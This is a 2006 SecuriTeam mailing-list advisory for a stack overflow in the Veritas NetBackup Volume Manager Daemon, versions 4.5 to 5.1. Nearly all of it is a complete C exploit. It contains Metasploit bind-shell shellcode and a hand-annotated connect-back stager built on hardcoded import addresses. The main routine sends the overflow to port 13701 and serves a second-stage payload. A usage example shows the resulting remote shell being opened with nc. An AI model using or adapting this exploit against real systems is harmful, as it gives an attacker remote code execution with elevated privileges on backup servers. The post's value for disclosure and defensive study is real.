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| Subject: | [EXPL] Veritas NetBackup Module Stack Overflow (vmd, Exploit) |
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| Date: | 19 Jan 2006 17:19:33 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Veritas NetBackup Module Stack Overflow (vmd, Exploit) ------------------------------------------------------------------------ SUMMARY A buffer overflow vulnerability within Veritas's Volume Manager allows attackers to execute arbitrary code with elevated privileges. DETAILS Vulnerable Systems: * Veritas NetBackup version 4.5 * Veritas NetBackup version 5.0 * Veritas NetBackup version 5.1 Exploit: /* DESCRIPTION Veritas NetBackup Stack Overflow (tcp/13701) "Volume Manager Daemon" Module Advisories http://www.idefense.com/intelligence/vulnerabilities/display.php?id=336 http://www.frsirt.com/english/advisories/2005/2349 USAGE C:\NetBackup>nb 192.168.0.2 4444 192.168.0.200 0 Veritas NetBackup v4/v5 "Volume Manager Daemon" Stack Overflow. C:\NetBackup>nc 192.168.0.200 4444 Microsoft Windows 2000 [versie 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> INFORMATION I wrote this just for educational purposes :). Because the buffer is only very small, I had to write small shellcode. The code is less than 100 bytes, and there are 6 bytes left. So there is still space to improve it. The stack seems to be static, every run at the exact same location. I used the Import Address Table (that looks like this): (taken from v5.1) Import Address Table 00447230 (send) 00447234 (recv) 00447238 (accept) 00447240 (listen) 0044724C (connect) 00447268 (closesocket) 00447284 (bind) 00447288 (socket) Using that shellcode I retrieve the "second" shellcode. This can be ANY code, and ANY size. No limitations. Tested on Windows 2000 Professional, Service Pack 4, Dutch. Tested on Veritas NetBackup 4.5, 5.0, 5.1 with some Maintenance Packs. (not all). Enjoy. Patrick Thomassen - patrickthomassen@gmail.com */ #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") DWORD WINAPI SendShellcode(LPVOID lpParam); int iLocalOpenPort; /* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ char szShellcode[] = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd2" "\x4a\xe7\xed\x83\xeb\xfc\xe2\xf4\x2e\x20\x0c\xa0\x3a\xb3\x18\x12" "\x2d\x2a\x6c\x81\xf6\x6e\x6c\xa8\xee\xc1\x9b\xe8\xaa\x4b\x08\x66" "\x9d\x52\x6c\xb2\xf2\x4b\x0c\xa4\x59\x7e\x6c\xec\x3c\x7b\x27\x74" "\x7e\xce\x27\x99\xd5\x8b\x2d\xe0\xd3\x88\x0c\x19\xe9\x1e\xc3\xc5" "\xa7\xaf\x6c\xb2\xf6\x4b\x0c\x8b\x59\x46\xac\x66\x8d\x56\xe6\x06" "\xd1\x66\x6c\x64\xbe\x6e\xfb\x8c\x11\x7b\x3c\x89\x59\x09\xd7\x66" "\x92\x46\x6c\x9d\xce\xe7\x6c\xad\xda\x14\x8f\x63\x9c\x44\x0b\xbd" "\x2d\x9c\x81\xbe\xb4\x22\xd4\xdf\xba\x3d\x94\xdf\x8d\x1e\x18\x3d" "\xba\x81\x0a\x11\xe9\x1a\x18\x3b\x8d\xc3\x02\x8b\x53\xa7\xef\xef" "\x87\x20\xe5\x12\x02\x22\x3e\xe4\x27\xe7\xb0\x12\x04\x19\xb4\xbe" "\x81\x19\xa4\xbe\x91\x19\x18\x3d\xb4\x22\xf6\xb1\xb4\x19\x6e\x0c" "\x47\x22\x43\xf7\xa2\x8d\xb0\x12\x04\x20\xf7\xbc\x87\xb5\x37\x85" "\x76\xe7\xc9\x04\x85\xb5\x31\xbe\x87\xb5\x37\x85\x37\x03\x61\xa4" "\x85\xb5\x31\xbd\x86\x1e\xb2\x12\x02\xd9\x8f\x0a\xab\x8c\x9e\xba" "\x2d\x9c\xb2\x12\x02\x2c\x8d\x89\xb4\x22\x84\x80\x5b\xaf\x8d\xbd" "\x8b\x63\x2b\x64\x35\x20\xa3\x64\x30\x7b\x27\x1e\x78\xb4\xa5\xc0" "\x2c\x08\xcb\x7e\x5f\x30\xdf\x46\x79\xe1\x8f\x9f\x2c\xf9\xf1\x12" "\xa7\x0e\x18\x3b\x89\x1d\xb5\xbc\x83\x1b\x8d\xec\x83\x1b\xb2\xbc" "\x2d\x9a\x8f\x40\x0b\x4f\x29\xbe\x2d\x9c\x8d\x12\x2d\x7d\x18\x3d" "\x59\x1d\x1b\x6e\x16\x2e\x18\x3b\x80\xb5\x37\x85\x22\xc0\xe3\xb2" "\x81\xb5\x31\x12\x02\x4a\xe7\xed"; char szBuffer[] = // We cannot use this small part. "a" "AAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAA" // Since the buffer is so small, we even need a part of // the SOCKADDR_IN structure. No problem. // struct sockaddr_in { "BB" // sin_family "BB" // sin_port "BBBB" // in_addr // "BBBBBBBB" // sin_zero // } // 'START' // Move the stackpointer. (0x0012F??? -> 0x0012F000) "\xC1\xEC\x0C" // SHR ESP, 0x0C "\xC1\xE4\x0C" // SHL ESP, 0x0C // Call socket(). "\x33\xDB" // XOR EBX, EBX "\x53" // PUSH EBX "\x43" // INC EBX "\x53" // PUSH EBX "\x43" // INC EBX "\x53" // PUSH EBX "\xBB\x88\x72\x44\x00" // MOV EBX, 447288 [socket()] "\xFF\x13" // JMP DWORD PTR [EBX] "\x8B\xF8" // MOV EDI, EAX // [edi -> socket] // Call connect(). "\x33\xDB" // XOR EBX, EBX "\xB3\x16" // MOV BL, 16 "\x53" // PUSH EBX "\xBB\x60\xF3\x12\x00" // MOV EBX, 12F360 "\x53" // PUSH EBX "\x57" // PUSH EDI "\xBB\x4C\x72\x44\x00" // MOV EBX, 44724C [connect()] "\xFF\x13" // JMP DWORD PTR [EBX] // We need space. "\x8B\xD4" // MOV EDX, ESP "\x80\xC6\x01" // ADD DH, 1 // Call recv(). "\x33\xDB" // XOR EBX, EBX "\x53" // PUSH EBX "\x43" // INC EBX "\xC1\xE3\x10" // SHL EBX, 8 [1 -> 65536] "\x53" // PUSH EBX "\x52" // PUSH EDX "\x57" // PUSH EDI "\xBB\x34\x72\x44\x00" // MOV EBX, 447234 [recv()] "\xFF\x13" // JMP DWORD PTR [EBX] // And again. "\x8B\xD4" // MOV EDX, ESP "\x80\xC6\x01" // ADD DH, 1 // Jump to our shellcode. "\xFF\xE2" // JMP EDX "O" "W" "N" "E" "D" "!" "\x68\xF3\x12\x00" // Here our code starts :). "\x00\xF0\x12\x00"; // Just a random readable address. // This is the NOT-interesting part :). DWORD main(int argc, char *argv[]) { printf("Veritas NetBackup v4/v5/v6 \"Volume Manager Daemon\" Stack Overflow.\n"); // We need a local port and ip because our first buffer is way too small // to contain our complete shellcode. We use a small shellcode first to // retrieve the second shellcode. The only method that fitted as first // shellcode was a connect-back shellcode. For the second we got LOADS of // space :). if (argc<5) { printf("Usage: %s <local ip> <local port> <remote ip> <type>\n\n", argv[0]); printf("Types (tested):\n"); printf(" 0 - NetBackup v5.0_1A\n"); printf(" NetBackup v5.0_2\n"); printf(" NetBackup v5.0_3\n"); printf(" NetBackup v5.1\n\n"); return NULL; } WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); sockaddr_in strTarget; memset(&strTarget, 0, sizeof(strTarget)); strTarget.sin_addr.s_addr = inet_addr(argv[3]); strTarget.sin_family = AF_INET; strTarget.sin_port = htons(13701); iLocalOpenPort = atoi(argv[2]); HANDLE hStage2 = CreateThread(NULL, 0, SendShellcode, 0, 0, 0); SOCKET sTarget = socket(AF_INET, SOCK_STREAM, 0); connect(sTarget, (struct sockaddr *)&strTarget, sizeof(strTarget)); // Fill in the structure. unsigned long family = AF_INET; memcpy(szBuffer + 80, &family, 2); unsigned long port = htons(iLocalOpenPort); memcpy(szBuffer + 82, &port, 2); unsigned long ip = inet_addr(argv[1]); memcpy(szBuffer + 84, &ip, 4); send(sTarget, szBuffer, sizeof(szBuffer)-1, 0); closesocket(sTarget); WaitForSingleObject(hStage2, 3000); return NULL; } DWORD WINAPI SendShellcode(LPVOID lpParam) { SOCKET sTarget; SOCKET sAccept; struct hostent *hp; struct sockaddr_in strTarget; struct sockaddr_in strAccept; int iStrSize = sizeof(strTarget); memset(&strTarget, 0, sizeof(strTarget)); strTarget.sin_addr.s_addr = INADDR_ANY; strTarget.sin_family = AF_INET; strTarget.sin_port = htons(iLocalOpenPort); sTarget = socket(AF_INET, SOCK_STREAM, 0); bind(sTarget, (struct sockaddr *)&strTarget, iStrSize); listen(sTarget, 2); sAccept = accept(sTarget, (struct sockaddr *)&strAccept, &iStrSize); send(sAccept, szShellcode, sizeof(szShellcode) - 1, 0); closesocket(sAccept); return NULL; } ADDITIONAL INFORMATION The information has been provided by <mailto:patrickthomassen@gmail.com> Patrick Thomassen. Related article(s) can be found at: <http://www.securiteam.com/unixfocus/6A00H15EKK.html> VERITAS Storage Foundation Buffer Overflow and <http://www.securiteam.com/securitynews/6Z00G15EKI.html> VERITAS NetBackup Enterprise Server Buffer Overflow (vmd) ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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